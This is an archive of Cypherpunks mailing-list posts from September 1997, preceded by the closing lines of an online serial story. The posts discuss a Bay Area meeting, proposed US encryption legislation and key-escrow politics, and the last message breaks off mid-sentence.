the futon that lay on the floor in front of his laptop. She licked
his face and wagged her tail like never before, waited for him
to hug her, and then went over to lay down in the corner and watch
him as he returned to his thoughts and his writing.

"It was the voice of the 'ten thousand things.'" he
typed on the keyboard, with the words appearing on the laptop
screen as if an apparition which might quietly fade away if he
did not make them real with his own voice.
"It was the voice of the ten thousand things."
he said out loud, and suddenly, he understood.

It was the voice of Distributed Mind...


"The Xenix Chainsaw Massacre"

"WebWorld & the Mythical Circle of Eunuchs"

"InfoWar (Part III of 'The True Story of the InterNet')









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 15 Sep 1997 01:15:27 +0800
To: Lucky Green <hugh@xanadu.com
Subject: Re: Today's meeting
In-Reply-To: <3.0.2.32.19970914002831.006f0114@netcom10.netcom.com>
Message-ID: <v0310280bb041c593da9f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:28 AM -0700 9/14/97, Lucky Green wrote:
>Thanks to everybody that showed up for today's meeting. Much is happening.
>And it is not just the evil legislation moving through Congress.
>Cypherpunks have been busy writing code. A very useful Ecash implementation
>compatible with DigiCash's protocol will be released next week. Onion
>Routers have been ported to Linux. Other semi-clandestine projects are
>moving forward as well.
...

Indeed, it was a very good meeting. Thanks to Hugh Daniel and Dave Del
Torto for the planning and arrangements for the meeting space.

For those who didn't make it, a few notes:

* About 45 people attended. This was actually the 5th anniversary meeting,
and several of us who were at the first one were at this one. (Eric Hughes,
John Gilmore, Hugh Daniel, me.)

*The UnFreeh legislation was a major topic of discussion. Kelly Baugh (sp?)
of PGP Inc. gave a good update on the unSAFE and Procto-CODE bills.
Pro-CODE is essentially dead, of course, replaced by the McCain-Kerr(e)y
text, and not moving much. SAFE is in a state of confusion. The worst
language, the stuff we've been talking about so angrily, is not from the
committees that actually have primary control. She doubts their's enough
time for this language to clear the Rules Committee and make it in
NatSec-Intelligence draconian form to the floor, let alone pass, let alone
reach the Senate floor. She expects Congress to adjourn for the year in
late October or early November, and their just isn't time.

* Their strategy is "next year." Some opposition is building. She says Sen.
Trent Lott is strongly opposed to the unFreeh form. A coalition called
"Americans for a Secure Tomorrow" (Madison Avenue wins again) is active.
URL not immediately obvious as of yesterday (to all of those in the room
with Ricochet modems, which was about half the room!).

* I conducted a Delphi Poll to see what the sentiment was, at the end of
the discussion. Three outcomes presented:

- Outcome 1: The Congress passes and the President signs some form of the
"Crypto is banned" language this year.

- Outcome 2: The original form of SAFE, liberalizing crypto exports, but
also felonizing use of crypto in a crime or while thinking about a crime (a
joke), passes this year. (I didn't get into whether Clinton signs or vetos
it.)

- Outcome 3: Nothing happens. The original SAFE dies, and so does the
unFreeh version. For this year.

There were 7 votes for Outcome 1, zero votes for Outcome 2, and the
remainder, about 30-35, votes for Outcome 3.

* Much more was discussed, about corporations and their complicity, about
why crypto is such an obscure issue for most Americans, and so on. The
meeting got rolling at about 12:30, ran steadily for about 6 hours, and
adjourned to a nice dinner at Little Sichuan, just below the meeting place.

* On a personal note, I bought one of the "Communications Security Corp."
Triple-DES phone scramblers from Eric Blossom, who had a pile of them at
the meeting.

Others can add more about what happened.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 15 Sep 1997 01:58:05 +0800
To: declan@well.com
Subject: Re: Nightmare Scenario: Public Key Distribution Controlled
In-Reply-To: <v03102805b04065bf320b@[207.167.93.63]>
Message-ID: <v0310280db041d0ba7963@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:03 PM -0700 9/13/97, Declan McCullagh wrote:
>This proposal is perhaps the most terrifying thing I've read. Mostly
>because such a proposal could pass quite easily by a small change -- one
>sentence -- to the definition of "cryptographic product" in a bill.
>
>You can bet that members of Congress would vote for it, too.
>
>-Declan
>

I brought this up at yesterday's meeting, and those who commented agreed
that "cryptographic keys" will likely be covered by the final language
(next year's version, if one believes the consensus of our meeting).

The U.K. TTP thing I cited is very long and detailed, in contrast to the
brief language now circulating for the unSAFE bill. The Brits were more
detailed in their planning process.

Kelly Baugh had a great line. I hope my quoting of it here does not get her
into trouble. Paraphrasing:

"The FBI would rather get legislation passed without much planning, and
then worry about the implementation later."

(Her version may have been blunter, about thinking vs. acting, but my
paraphrase captures the idea.)

Antonomasia (sp?) made some points about whether or not the TTP draft
really would cover key distribution. Recall we had many such discussions
around the time the TTP thing was first being circulated, circa earlier
this year. The archives may produce analyses on both sides.

I believe the TTP draft would certainly cover the keyservers, and possibly
even key-signing parties (under RICO, the Racketeer-Influenced and
Cryptography Organizations Act).

And whether the British TTP draft directly bans such things is not really
the point. The U.S. version (and the versions eventually adopted,
lapdog/OECD/Wasenaar/NWO style by other nations) could easily have explicit
language to cover this.

Like I said, I think the "key management...key certification...digital
signatures...." stuff in the TTP draft is *already* sufficient to, if
passed in the U.S., outlaw key servers. Whether contacting a key server in
a foreign location is also illegal is another issue. Recall, though, that
the TTP also had language about the illegality of using offshore
cryptographic services (even non-U.K. services in general!).

I believe the excitement we're now seeing is just Act One of the "Scare
Them 'till they Beg for Big Brother" show. Act Two will commence in 1998.
Probably with more detailed language, along the lines of the
OECD/French/British legislation.

The climax may not come until some Tragic Event: an airliner shot down by
crypto-using terrorists, a major Child Terrorism or Nuclear Pornography
ring is uncovered, another truck bombing, a nerve gas attack, a war in the
Middle East, etc.

Then the legislation will make it out of committee and be passed
overwhelmingly.

Exit, stage left.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Will Rodger <rodger@worldnet.att.net>
Date: Sun, 14 Sep 1997 23:40:43 +0800
To: jsmith58@hotmail.com>
Subject: Re: unSAFE won't pass?
In-Reply-To: <19970912172053.2605.qmail@hotmail.com>
Message-ID: <3.0.3.32.19970914113657.006daba8@postoffice.worldnet.att.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


>On Fri, 12 Sep 1997, John Smith wrote:
>
>> So, does anybody besides me think these crypto bills aren't going
>> anywhere?  I still think it's just a trick to get the original 
bill
>> killed.  No way are most congresscritters going to vote for this
>> with all the opposition that's coming out.  Just my opinion...
>
At 09:07 PM 9/12/97 +0000, Declan McCullagh wrote:
>
>Don't be too sure. The national security establishment is swarming 
on
>Capitol Hill. They have momentum. SAFE and ProCODE are dead and 
gutted. 
>The chair of House Rules is now eager to push SAFE to the floor for 
a
>vote. What, you think Clinton won't sign the new SAFE bill? 

It may make for good copy, but I think it's just fantasy to think the 
administration or their opponents, for that matter, will get what 
they want this year. Let them swarm. Who cares.

At earliest, August of 1998 before anything passes - and even that is 
highly optimistic.

I predict shouting on the floors of both houses and maybe even a 
shoving match or two before this is settled. Early evidence of the 
passions stirred: my story at 
http://www.zdnet.com/zdnn/content/inwo/0911/inwo0007.html. the 
atmosphere in that room was, to put it politely, charged.

Another prediction: if the administration loses, you can count on a 
huge shake up at the top of the FBI. A defeat on this issue will make 
Ruby Ridge, Waco and Hoover's days of wiretap abuse and blackmail 
seem like the good old days. And since the FBI is playing front for 
what is now clearly White House intent - forget meaningless blather 
over what is "policy" and "not policy" - it will be the Fibbies who 
take the hits.

Crypto wars? Hell, we haven't even seen a good border skirmish yet.

Will Rodger
Washington Bureau Chief
Inter@ctive Week
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNBwEmdZgKT/Hvj9iEQLfnwCaAssvJsE+EtsJWajcJ2165Nu3MDwAnjvc
lbGKZM43BEPPXFCD1Hj6jdEF
=IGUz
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Mon, 15 Sep 1997 03:43:33 +0800
To: cypherpunks@cyberpass.net
Subject: Notes from the Cypherpunks September Bay Area Meeting
Message-ID: <v03102800b041d75dec10@[17.219.103.238]>
MIME-Version: 1.0
Content-Type: text/plain



Here are some notes I took at the Cypherpunks September Bay Area Meeting
on September 13 at "PGP World Headquarters" in San Mateo. Quotes are
summaries and interpretations, but hopefullfy fair and accurate.
My interpolations enclosed in square brackets.

Cypherpunks meetings are not particularly formal, but more like a
dialog between a number of people, punctuated with slightly more
formal presentations.

----
Introductory discussion of the recent crypto-gutting legislative
proposals.
----

Eric Hughes (EH): This is the fifth anniversary of Cypherpunks. At
the first meeting, we demonstrated a number of the technologies that
are now becoming widespread, including remailers, and breaking weak
(i.e., exportable) cryphograph.

Tim May (Tim): What we feared five years ago is worse than Clipper --
it's an absolute disaster. The government has declared war on privacy.
The only survivor is likely to be Trusted Information Systems, which
has very close connection to the NSA.

EH: The government now desires access to all plaintext communication.

Tim: The British, and OECD, trusted third party proposal is a nightmare:
even if you have access to software such as PGP and Explorer that provides
strong privacy, the British now regard the keys you need to use that
technology as "crypto material" -- and it will be illegal to distribute
unbreakable keys [presumably without license or escrow capabilities].

Vinnie Moscaritalo (Vinnie): Black market?

EH: No: there will be an underground market [the distinction is important]
what we need are legitimate distribution of keys and crypto. Social pressure
will otherwise keep crypto unused.

Tim: Quoting Whitfield Diffie: this is like the war on drugs. Ban grypto
and companies will dpeutize themselves to assist the government just
as they did by requiring urine tests.

EH: [The computer industry is moving to] remote policy enforcement --
copyright enforcement [to prevent you from using software if you
don't have a license to it, or to prevent you from viewing a
copy of a movie]. The same mechanisms can be used to enforce crypto
regulations.

You can characterize GAK/ATP (Government access to keys, access to
plaintext) as possession with the intent to communicate.

Tim: The intelligence community wants to be your supplier of big-brother
crypto. They are not fascists; they just don't have a clue. Intel's
next [next plus one?] generation processors will devote 3-4% of
their chip area to functions that facilitate encryption. All processors
will be serial-numbered. [This makes it very simple to "seal" a
program so it can only be used on a single, specific, processor. This
capability has been used for a decade in the minicomputer world.]

Tim/EH: The battle must be fought in [the context of] the First
Amendment. Qooting Don Hayes: "Nothing good can come out of crypto."
[I think Hayes was referring to crypto legislation.]

-----
Jeremy of Blue Money Software briefly described their electronic
cash programming interface.

Someone (Jeremey?) described an "onion routing" electronic mail
protocol that conceals all information. This lets two people
communicate without any external party either reading the mail or
determining the sender or receiver. This was developed by the U.S.
Naval Research Laboratories. They need ths because they otherwise
cannot conceal sensitive communications within public traffic.

-----
Kelly Blough, PGP's Government Relations representative discussed
the recent legislation initiatives.

The Pro Code bill is dead. Stuck in a senate committee.

The McCane Kerry bill passed commerce, but was not reported out:
McCain doesn't like it. This is good news.

The SAFE bill (in the House) passed the [which?] committee in a way
that we like. The bill removes export control on public code. It
allows Americans full access to strong crypo. It was referred to
National Security, Commerce, and [International Relations?] committees.

National Security gutted the bill. Intelligence added FBI-requested
access to plaintext. This was done in an unusual closed-door markup.
[These are usually only done for military and intelligence funding
bills.] "The intelligence community wants to set policy."

Dave Del Torto (DDT): A friend says that the military intelligence
personnell are swarming on the Hill.

Kelly: thinks that this is mostly driven by domestic law enforcement,
not the military

Commerce added a gutting amendment, but now waiting two weeks.

Tim: Declan McCullogh said that Louis Freeh said that, if a
Congressman votes against gutting crypto, the FBI will blame the
next Oklahoma City bombing on that Congressman.

Kelly: This is good in one way: the cards are now on the table. The
regional telephone companies, auto manufacturers, are all on PGP's
side: "How can we help?" Banks and other financial institutions are
not on PGP's side: because of the export exception.. Maybe this will
change when the impact of domestic restrictions sink in.

John Gilmore (JohnG): sens a fax to his respresentative, Nancy Pelosi.
Asked whether this law should be passed without review. Her chief
of staff replied that Pelosi brought up issues, but didn't change
the consensus. Also brought up the lack of law enforcement tracking
and notification. Tom Lantos, who sits on both the National Security
and International Relations committees (and who is the representative
for PGP's district) -- for someone who is strong on on human rights,
he is voting against strong crypto.

Tim: Why does PGP participate in export committees.

Kelly: Industry group to lobby: Microsoft, etc. Big companies: trying
to demonstrate that it's not just software.

DDT: Electronic Freedom Foundation?

JohnG: We got out of lobbying. Focussing on the Bernstein appeal. John
is talking to Pelosi individually. She will write a minority report
of disagreement with the National Security committee decision.

EH: PGP needs support from cypherpunks.

Kelly: Lobbying media. Gutting crypto gives government access to reporters'
notes, to communication with anonymous sources. [Also lawyer, client.]

The SAFE bill will probably go to the floor as written. Amendments must
be voted upon. Pro Code is dead.

DDT: Political liability: Gore was thought to be a friend to Silicon
Valley -- maybe not now. But, maybe he doesn't think that Silicon
Valley helped Clinton in 1996.

JohnG: The "one time review" proposal lets "NSA read your source code"
Lets them find holes in your product. Pelosi's chief of staff said to
John that it will be illegal to sell strong crypto immediately after
the law passes. But distribution will be allowed until 2000. This was
put in for PGP: human rights workers are using it -- this will let
PGP spread around for three years.

Tim [?]: WIPO (world intellectual property agreement) will ban all forms
of code cracking. Pushed by content providers to secure their intellectual
property.

Kelly, with PGP former president Tom Steddings, wrote the recent California
legislature resolution.

JohnG: Trusted Information Systems has three patents on key recovery.

EH: Why do the Fed's want access to plaintext? The motivation has not
been made clear. Policy goals are stated in technological terms, not
in policy terms.

-------
Other notes (more technical)

Don't use a hardware black-box to generate private keys: they can
leak private key information in the public key. Use a mix of software
and hardware: do final generation in auditable software.

Ian Goldberg: Move crypto to Palm Pilot. Demonstarted secure e-mail
and web browsing on a Palm Pilot connected (through a bizarre collection
of cables) to a Metricom radio modem.

Dave Lainer [??] discussed cell phone privacy. There are three kinds
of information that needs to be secured: the voice message, the number
that you are calling, and the cell-phone identification. None of
this is secure on analog phones. The phone companies don't care about
user privacy: only about call setup privacy. NSA lied to telecom
committees about call security. Voice privacy is trivial.

PGP is trying to get their PGP phone technology into digital cell phones.
This can do end-to-end encryption between PDP-enhanced phones.

There are several kinds of information that need to be secured:
voice, billing information, dialed numbers, and the caller's physical
location.  The government likes secure billing information -- if they
don't know who made the call, they can't use it as evidence against
an accused.

JohnG: the cell phone authentication algorithm was recently cracked.

EH: New Japanese phenonemon: tiny PKS cell phones. Teen-agers (who are
driving lifestyle changes) all use them.

----
DDT: Discussed Open PGP: a non-proprietary standard presented to
IETF: This includes a public-key infrastructure, trust model, message
format, MIME (content format), and meta-certificate technology.

Proposed to the Vatican (Papal representatives must communicate
with Rome). Big battle in Rome between Netscape and Microsoft
to be the "official browser of the Vatican." Big is an underestimate:
Microsoft is offerring "eternal" licenses.

----
My notes end here. Apologies for any errors in transcription or
understanding.

Martin Minow
minow@apple.com








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Mon, 15 Sep 1997 03:55:20 +0800
To: Will Rodger <rodger@worldnet.att.net>
Subject: Re: unSAFE won't pass?
In-Reply-To: <3.0.3.32.19970914113657.006daba8@postoffice.worldnet.att.net>
Message-ID: <Pine.GSO.3.95.970914122951.18715F-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




On Sun, 14 Sep 1997, Will Rodger wrote:

> It may make for good copy, but I think it's just fantasy to think the 
> administration or their opponents, for that matter, will get what 
> they want this year. Let them swarm. Who cares.
> 
> At earliest, August of 1998 before anything passes - and even that is 
> highly optimistic.

I agree with Will that we'll likely see shouting on the floor, but I'm
not as convinced on the timing.

Sure, it's incredibly unlikely that anything will pass both chambers this
year. But will it take 11 months? The sequence of events could look
something like this: 

By late September, the Commerce committee will vote on SAFE. By
mid-October, the committee chairs should have worked out a compromise
package. This goes to the Rules committee, chaired by Solomon. Until last
week he vowed to block SAFE. Now he'd like, I'm told, to get the FBI's
version to the floor immediately. There are, however, only so many slots
on the suspension calendar.

It's conceivable the House could vote on the bill this year, especially if
they leave town later than anticipated and only if the version is the
FBI's. (I think it's inconceivable that Goodlatte's version of SAFE could
get to the floor anytime soon.) Whether this happens or not will depend on
the Rules committee, the leadership -- and, most of all, behind-the-scenes
maneuvering.

The Senate, however, appears to be taking much, much longer. But I think
that the national security/l.e. forces can move long before the end of
next summer. 

-Declan







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Mon, 15 Sep 1997 04:05:51 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Today's meeting
In-Reply-To: <v0310280bb041c593da9f@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970914125004.18715G-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




On Sun, 14 Sep 1997, Tim May wrote:

> Pro-CODE is essentially dead, of course, replaced by the McCain-Kerr(e)y
> text, and not moving much. SAFE is in a state of confusion. The worst
> language, the stuff we've been talking about so angrily, is not from the
> committees that actually have primary control. She doubts their's enough
> time for this language to clear the Rules Committee and make it in
> NatSec-Intelligence draconian form to the floor, let alone pass, let alone
> reach the Senate floor. She expects Congress to adjourn for the year in
> late October or early November, and their just isn't time.

I agree with just about all of this. I do, however, think there's just
enough time for the NatSec/FBI version of SAFE to move to the floor. It
depends on how much effort the NSA/FBI want to expend. I wrote more about
this just now in the "Re: unSAFE won't pass?" thread.

> * Their strategy is "next year." Some opposition is building. She says Sen.
> Trent Lott is strongly opposed to the unFreeh form. A coalition called
> "Americans for a Secure Tomorrow" (Madison Avenue wins again) is active.
> URL not immediately obvious as of yesterday (to all of those in the room
> with Ricochet modems, which was about half the room!).

True, Lott would seem to be opposed to the FBI's language. (At least he
was opposed to McCain-Kerrey's bill, which didn't go nearly as far.) As
for the coalition, the hope would seem to be in running print ads in
members' own home districts. Make them sweat.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Mon, 15 Sep 1997 01:27:18 +0800
To: Will Rodger <rodger@worldnet.att.net>
Subject: Re: unSAFE won't pass?
In-Reply-To: <Pine.GSO.3.95.970912170428.10375J-100000@cp.pathfinder.com >
Message-ID: <v03007803b041dab5a0b9@[198.115.179.81]>
MIME-Version: 1.0
Content-Type: text/plain



Will Rodger <rodger@worldnet.att.net> declared:

>It may make for good copy, but I think it's just fantasy to think the
>administration or their opponents, for that matter, will get what
>they want this year. Let them swarm. Who cares.
>
>At earliest, August of 1998 before anything passes - and even that is
>highly optimistic.

Will:

	Could you please explain the logic, numbers, and procedural
limitations of congressional action that lead you to this conclusion?

	Why not now?

	Why not between now and August '98?

	Why the deadline/target-date of August '98?

	Suerte,
		_Vin

"Cryptography is like literacy in the Dark Ages. Infinitely potent, for
good and ill... yet basically an intellectual construct, an idea, which by
its nature will resist efforts to restrict it to bureaucrats and others who
deem only themselves worthy of such Privilege."
_ A thinking man's Creed for Crypto/ vbm.

 *     Vin McLellan + The Privacy Guild + <vin@shore.net>    *
  53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Mon, 15 Sep 1997 02:36:07 +0800
To: Bianca <bianca@dev.null>
Subject: Re: InfoWar 9 (Part III of 'The True Story of the InterNet')
In-Reply-To: <341C0129.41EA@dev.null>
Message-ID: <199709141822.OAA07355@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <341C0129.41EA@dev.null>, on 09/14/97 
   at 09:22 AM, Bianca <bianca@dev.null> said:

><BASE HREF="file:///C|/CJ/WRITING/InfoWar/InfoWar9.htm">

Could the NutScrape users out there please set up their mailers properly
so they send their messages out in *TEXT* rather than HTML??

HTML really has no place in E-Mail.

<sigh> one would think that N$ would atleast follow the RFC's and use
multipart/alternative format when it formats this crap.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNBwe749Co1n+aLhhAQFUxQP/cUbcBwUd+4/vl+yyJ7PfzAXw2dl34DHM
iptbQLYYyvQqrF3K1trbxV3VrhVAVQ5NZayTSBHqAHl55dcRCvAhYdCmTsscqjND
lv4HHV1qSM/msIkJEiQjZmcXVymfyUTj0psLfgDNNG9Yx/mtOkBq3vPl8v5/iveR
gaCQTHvWdUk=
=arjI
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 15 Sep 1997 02:08:17 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Court proceedings under new SAFE act]
In-Reply-To: <19970913153616.25353@cmq.com>
Message-ID: <v03110706b041cc5e97d9@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:58 am -0400 on 9/14/97, Peter D. Junger wrote:


> : What if I respond to Adam Back and accidently forget to snip his .sig?
> : (if that's not prior restraint, I don't know what is!)
>
> What it is, under current law, is a violation of Export Administration
> Regulations, unless you somehow get a license before you send the
> reply.

Cool. At this rate, e$pam has violated the law several thousand times,
given the number of Adam's posts I've forwarded to it over the years, and
the number of foriegn e$pam subscribers.

Heck. Jail would be a great place to write an uninterrupted book-length
screed. I'm too ugly to be anyone's 'wife', anyway...



Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 15 Sep 1997 02:07:25 +0800
To: Steve Schear <cypherpunks@Algebra.COM
Subject: Re: A Reality Check & the Full Citizenship Campaign
In-Reply-To: <3.0.3.32.19970914080508.00718784@popd.netcruiser>
Message-ID: <v0311070bb041d15ac3c2@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:04 pm -0400 on 9/14/97, Steve Schear wrote:


> So, if these "instruments of freedom" could only be useful to criminals,
> then the last great hope for our country may be in the hands of
> drug-trafficers, terrorists and the like, since only they will be free ;-)

Either that, or we apply Moscaritolo's Conjecture:

"If we could just pass a few more laws, we'd all be criminals."

:-).


Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iang@cs.berkeley.edu (Ian Goldberg)
Date: Mon, 15 Sep 1997 00:15:38 +0800
To: cypherpunks@cyberpass.net
Subject: Re: House panel votes behind closed doors to build in Big Brother
In-Reply-To: <Pine.GSO.3.95.970911233758.23060M-100000@well.com>
Message-ID: <5vh291$q8d$1@abraham.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



Two snips from the bill:

>LEGAL TO USE CRYPTO: "After January 31, 2000, it shall not be
>unlawful to use any encryption product purchased or in use prior to
>such date."

>[T]he "president may by executive order waive
>any provision of this act" if he thinks it's a threat to national
>security.

   - Ian





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Mon, 15 Sep 1997 09:17:48 +0800
To: Robert Hettinga <cypherpunks@cyberpass.net
Subject: Re: Court proceedings under new SAFE act]
In-Reply-To: <199709141158.HAA18846@upaya.multiverse.com>
Message-ID: <3.0.3.32.19970914161704.0074a580@popd.netcruiser>
MIME-Version: 1.0
Content-Type: text/plain



At 01:29 PM 9/14/97 -0400, Robert Hettinga wrote:
>Heck. Jail would be a great place to write an uninterrupted book-length
>screed. I'm too ugly to be anyone's 'wife', anyway...

Just remember that toilet plungers don't care how ugly you are.


Jonathan Wienke

What part of "the right of the people to keep and bear Arms, shall not be
infringed" is too hard to understand? (From 2nd Amendment, U.S. Constitution)

PGP 2.6.2 RSA Key Fingerprint: 7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
DSS/D-H Key Fingerprint: 3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC
Public keys available at pgpkeys.mit.edu. PGP encrypted e-mail preferred.

Get your assault crypto before they ban it!

US/Canadian Windows 95/NT or Mac users:
Get Eudora Light + PGP 5.0 for free at http://www.eudora.com/eudoralight/
Get PGP 5.0 for free at http://bs.mit.edu:8001/pgp-form.html

Non-US PGP 5.0 sources:
http://www.ifi.uio.no/pgp/
http://www.heise.de/ct/pgpCA/download.shtml
ftp://ftp.pca.dfn.de/pub/pgp/V5.0/
ftp://ftp.fu-berlin.de/pub/pc/win95/pgp
ftp://ftp.fu-berlin.de/pub/mac/pgp
http://www.shopmiami.com/utopia.hacktic.nl/pub/replay/pub/pgp/pgp50/win/

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iang@cs.berkeley.edu (Ian Goldberg)
Date: Mon, 15 Sep 1997 00:41:34 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Note to Net-lobbyists: give it up already, abandon Congress
In-Reply-To: <v03007809b03f58869b1d@[163.176.132.90]>
Message-ID: <5vh3n6$qm9$1@abraham.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



In article <Pine.GSO.3.95.970912191654.10375N-100000@cp.pathfinder.com>,
Declan McCullagh  <declan@pathfinder.com> wrote:
>The status quo, combined with the court challenges, is not that bad.

Only if the court challenges get decided in our favour, and go all the way
up the Supreme Court without being struck down.  The current situation
is terrible.  I agree that it's unlikely that legislation will be able to be
passed that would fix this.  The court challenges, of course, move slowly.

   - Ian





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jonathon <grafolog@netcom.com>
Date: Mon, 15 Sep 1997 02:39:12 +0800
To: Glenn Hauman <hauman@bb.com>
Subject: Re: The problem of playing politics with our constitutional rights
In-Reply-To: <v03007802b03f0695574a@[168.146.213.106]>
Message-ID: <Pine.SUN.3.95.970914181755.26293C-100000@netcom4>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 12 Sep 1997, Glenn Hauman wrote:

> Since you asked: about 20% of the US population has used the Internet or an
> online service in the past 30 days, according to Mediamark Research Spring
> 97. Under 40% own a PC at home, about 40% use one at work.
	
	Now how do you convince people that strong encryption is a very
	good thing.

	I'll lay odds that the majority of those people think that all
	encryption should be banned.   

	I know where I work, the idea that encryption should be legal
	is scoffed at.   <<  That includes the drug dealers that work
	there.  So much for the assertion that drug dealers use
	encryption. >>

	Hypothetical question:

	How will law enforcement deal with my 
	Enochian to Linear-B / Egyptian Hieroglyphics / Maya translation
	program, if encryption is banned?  It does provide clear text,
	albeit is a language that they don't understand.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Magus Mixmaster Anonymous Remailer Service <mix@magusnet.com>
Date: Mon, 15 Sep 1997 09:38:02 +0800
To: cypherpunks@toad.com
Subject: What really happend in DC
Message-ID: <199709150133.SAA08718@mail.magusnet.com>
MIME-Version: 1.0
Content-Type: text/plain



Several people have asked me for the real story of what went on in Washington. Here it is.

Some carpetbaggers (EFF, CDT, etc.) went to DC without having the first clue how the game is being played. Oblivious to the fact that Congress will not, can not, pass a pro-crypto bill, they found a few Congress people that either believed in the issue or at least thought they could milk it for publicity. Some bills were proposed and sent on their way.

Meanwhile, the real players were laughing their butt off. Their project was right on track. Using a time honored mixture of incentivising and FUD, GAK was pushed upon industry.

The real players know that banking will require strong crypto, so banking and financial transaction information are exempt from the export prohibition. This conveniently opens the most lucrative market segment of the worldwide crypto business to US companies, thereby reducing, if not eliminating, the business case for fighting export restrictions. If not eliminating because on the other end of the crypto spectrum, the export regs and GAK are irrelevant for all practical purposes. It simply doesn't matter for most people if their love letters are protected by 40 bits or by 128 bits. Nor will it matter if the crypto used has GAK or not. Unless they are into some _really_ kinky stuff.

The market segment between is too small to make it economical for large businesses (the only one's with clout and the only ones about who's campaign contributions one should worry) to fight over this issue with a very determined government.

With industry removed as an opponent (ignore for the moment the voices still originating from some industry spokespeople. They and their jobs will go away as their managers come to realize that said voices have a negative rate of return), only civil liberty groups are left. And as I mentioned earlier, those don't have any clue about the nature of the game at the national security (as in the very survival of governemt) level. The Four Horsemen can just ride right over them.

With the bull worn and tired, all that is left to do is the coupe de grace. Since Congress has become aware that crypto is an issue and since many lawmakers know by now that there would be some law, the bills already in Congress were simply rewritten. No point in wasting time by introducing a new bill.

Some may ask what the effect of all this will be. Simple:

